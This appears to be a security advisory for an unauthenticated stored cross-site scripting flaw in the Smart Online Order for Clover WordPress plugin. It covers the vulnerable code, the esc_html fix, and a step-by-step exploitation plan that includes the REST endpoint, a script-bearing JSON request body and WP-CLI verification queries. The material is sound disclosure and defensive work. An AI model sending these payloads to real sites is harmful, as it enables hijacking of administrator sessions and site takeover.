Smart Online Order for Clover <= 1.6.0 - Unauthenticated Stored Cross-Site Scripting
Description
The Smart Online Order for Clover plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.6.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.6.0What Changed in the Fix
Changes introduced in v1.6.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42738 ## 1. Vulnerability Summary The **Smart Online Order for Clover** plugin (versions <= 1.6.0) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin registers unauthenticated REST API endpoints…
Show full research plan
Exploitation Research Plan - CVE-2026-42738
1. Vulnerability Summary
The Smart Online Order for Clover plugin (versions <= 1.6.0) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin registers unauthenticated REST API endpoints that accept user-supplied data (such as customer names during checkout or item data during synchronization) and subsequently displays this data in the WordPress admin dashboard without proper sanitization or output escaping.
The primary sinks are found in the WP_List_Table implementations used to display orders and products, where data is output using stripslashes() instead of escaping functions like esc_html().
2. Attack Vector Analysis
- Target Endpoint: WordPress REST API.
- Namespace:
moo-clover/v1(defined inincludes/moo-OnlineOrders-Restapi.php). - Vulnerable Routes (Inferred):
POST /wp-json/moo-clover/v1/checkout/place_order(handled byCheckoutRoutes).POST /wp-json/moo-clover/v1/sync/items(handled bySyncRoutes).
- Vulnerable Parameter:
customer_name,first_name,last_name, orsoo_name. - Authentication: None. The
Moo_OnlineOrders_Restapi::register_routesfunction uses'permission_callback' => '__return_true'for these routes.
3. Code Flow
- Input: An unauthenticated attacker sends a POST request to
/wp-json/moo-clover/v1/checkout/place_order. - Processing: The
CheckoutRoutesclass (instantiated inMoo_OnlineOrders_Restapi::__construct) processes the request and stores the order details (including the maliciouscustomer_name) via theMoo_OnlineOrders_Modelor by sending it to the Smart Online Order API. - Storage: The payload is stored in the database (either locally in
wp_moo_ordersor cached via the SooApi). - Admin Access: An administrator navigates to the "Orders" page in the dashboard:
wp-admin/admin.php?page=moo_orders. - Data Retrieval:
Orders_List_Moo::prepare_items()callsself::get_items(), which fetches the malicious data via$api->getOrdersByPage()(seeadmin/includes/class-moo-orders-list.php). - Output Sink: The
Orders_List_Moo::column_default()method processes thecustomer_namecolumn:case 'customer_name': if (isset($item[$column_name])) return stripslashes((string)$item[$column_name]); // XSS SINK - Execution: The unescaped script executes in the administrator's browser.
4. Nonce Acquisition Strategy
The REST API endpoints for this plugin explicitly bypass authentication and nonce checks by returning true in the permission_callback.
- File:
includes/moo-OnlineOrders-Restapi.php - Logic:
register_rest_route( $this->namespace, '/cart', array( array( 'methods' => 'POST', 'callback' => array( $this, 'addItemToCart' ), 'permission_callback' => '__return_true' // No nonce required ) ) );
As such, no nonce is required for the initial injection.
5. Exploitation Strategy
The goal is to inject a script into the "Customer Name" field via the checkout REST API.
Step 1: Discover the exact route
Since the full content of CheckoutRoutes.php is not provided, we first verify the registered routes.
- Use
http_requestto GEThttp://localhost:8080/wp-json/moo-clover/v1. - Locate the route related to "checkout" or "place order".
Step 2: Inject the Payload
Send a POST request to the identified checkout endpoint.
- URL:
http://localhost:8080/wp-json/moo-clover/v1/checkout/place_order(inferred) - Method:
POST - Headers:
Content-Type: application/json - Body:
{ "first_name": "John", "last_name": "Doe<script>alert(document.domain)</script>", "email": "attacker@example.com", "phone": "1234567890", "order_type": "pickup", "items": [] }
Step 3: Trigger the XSS
- Log into the WordPress admin panel as an administrator.
- Navigate to
http://localhost:8080/wp-admin/admin.php?page=moo_orders. - The alert box should trigger when the "Orders" table renders.
6. Test Data Setup
- Plugin Configuration: The plugin must be active. Some features may require an "API Key" to be set in
Clover Orders > Settings. If the REST API checks for a connected store, usewp option update moo_settings '{"api_key":"mock_key","merchant_id":"mock_id"}' --format=json. - Page Setup: No shortcodes are strictly necessary for the REST API attack, but visiting the homepage ensures the REST API namespace is initialized.
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - Upon visiting the admin Orders page, the HTML source for the order row should contain:
<td>John Doe<script>alert(document.domain)</script></td> - A browser alert showing the domain name should appear.
8. Verification Steps
After sending the HTTP request, verify the storage using WP-CLI:
# If stored in local orders table
wp db query "SELECT customer_name FROM wp_moo_orders ORDER BY id DESC LIMIT 1;"
# If synced to items table (for SyncRoutes variant)
wp db query "SELECT soo_name FROM wp_moo_item WHERE soo_name LIKE '%<script>%';"
9. Alternative Approaches
If place_order is not the correct endpoint, target the synchronization mechanism:
- Endpoint:
POST /wp-json/moo-clover/v1/sync/items - Payload: Set the
nameorsoo_nameof an item to the XSS payload. - Trigger: View the items list at
wp-admin/admin.php?page=moo_items. - Code Sink:
Products_List_Moo::column_soo_name()which usesstripslashes((string)$itemName)(seeadmin/includes/class-moo-products-list.php).
Summary
The Smart Online Order for Clover plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to insufficient output escaping in the administrative dashboard and lack of authentication on REST API endpoints. An attacker can inject malicious scripts via checkout or synchronization API calls, which then execute in the browser of an administrator viewing order or product lists.
Vulnerable Code
// admin/includes/class-moo-orders-list.php:121 public function column_default( $item, $column_name ) { switch ( $column_name ) { case 'order_number': case 'customer_name': case 'order_type_label': case 'status': case 'amount': case 'created_at_hf': case 'source': if (isset($item[$column_name])) return stripslashes((string)$item[$column_name]); return ''; --- // admin/includes/class-moo-products-list.php:231 function column_soo_name( $item ) { // ... if(!empty($item[ "soo_name" ])){ $itemName = $item['soo_name']; } else { if(!empty($item[ "alternate_name" ])){ $itemName = $item['name'] . " (alternate name : ".$item[ "alternate_name" ].")"; } else { $itemName = $item['name']; } } $title = '<div class="mooItemNameSection" id="item-name-section-for-'.$item['uuid'].'">'; $title .= '<div class="moo-item-name"><strong>' . stripslashes((string)$itemName) . '</strong></div><img onclick="moo_editItemName(event,\''.$item['uuid'].'\')" style="margin-left: 10px;cursor: pointer" src="'.$this->editIcon.'" alt="placeholder" sizes="(max-width: 150px) 100vw, 150px" id="moo-edit-item-name-".esc_attr($item['uuid'])."'>"; --- // includes/moo-OnlineOrders-Restapi.php:185 register_rest_route( $this->namespace, '/cart', array( array( 'methods' => 'POST', 'callback' => array( $this, 'addItemToCart' ), 'permission_callback' => '__return_true' ) ) );
Security Fix
@@ -131,7 +131,7 @@ case 'created_at_hf': case 'source': if (isset($item[$column_name])) - return stripslashes((string)$item[$column_name]); + return esc_html(stripslashes((string)$item[$column_name])); return ''; default: return print_r( $item, true ); @@ -253,7 +253,7 @@ } $title = '<div class="mooItemNameSection" id="item-name-section-for-'.$item['uuid'].'">'; - $title .= '<div class="moo-item-name"><strong>' . stripslashes((string)$itemName) . '</strong></div><img onclick="moo_editItemName(event,\''.$item['uuid'].'\')" style="margin-left: 10px;cursor: pointer" src="'.$this->editIcon.'" alt="placeholder" sizes="(max-width: 150px) 100vw, 150px" id="moo-edit-item-name-".esc_attr($item['uuid'])."'>"; + $title .= '<div class="moo-item-name"><strong>' . esc_html(stripslashes((string)$itemName)) . '</strong></div><img onclick="moo_editItemName(event,\''.$item['uuid'].'\')" style="margin-left: 10px;cursor: pointer" src="'.$this->editIcon.'" alt="placeholder" sizes="(max-width: 150px) 100vw, 150px" id="moo-edit-item-name-".esc_attr($item['uuid'])."'>"; $title .= '</div>';
Exploit Outline
The exploit targets the plugin's unauthenticated REST API endpoints, specifically those under the `moo-clover/v1` namespace. An attacker sends a POST request to a route such as `/wp-json/moo-clover/v1/checkout/place_order` (or similar endpoints in `CheckoutRoutes` or `SyncRoutes`) without any authentication or nonces. The payload includes a malicious script within parameters like `last_name`, `customer_name`, or `first_name`. Because the REST API returns `true` for its `permission_callback`, the request is processed and the payload is stored. When an administrator later logs into the WordPress dashboard and views the Orders page (`wp-admin/admin.php?page=moo_orders`) or Products page, the plugin retrieves the stored data and outputs it using `stripslashes()` without `esc_html()`, causing the script to execute in the administrator's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.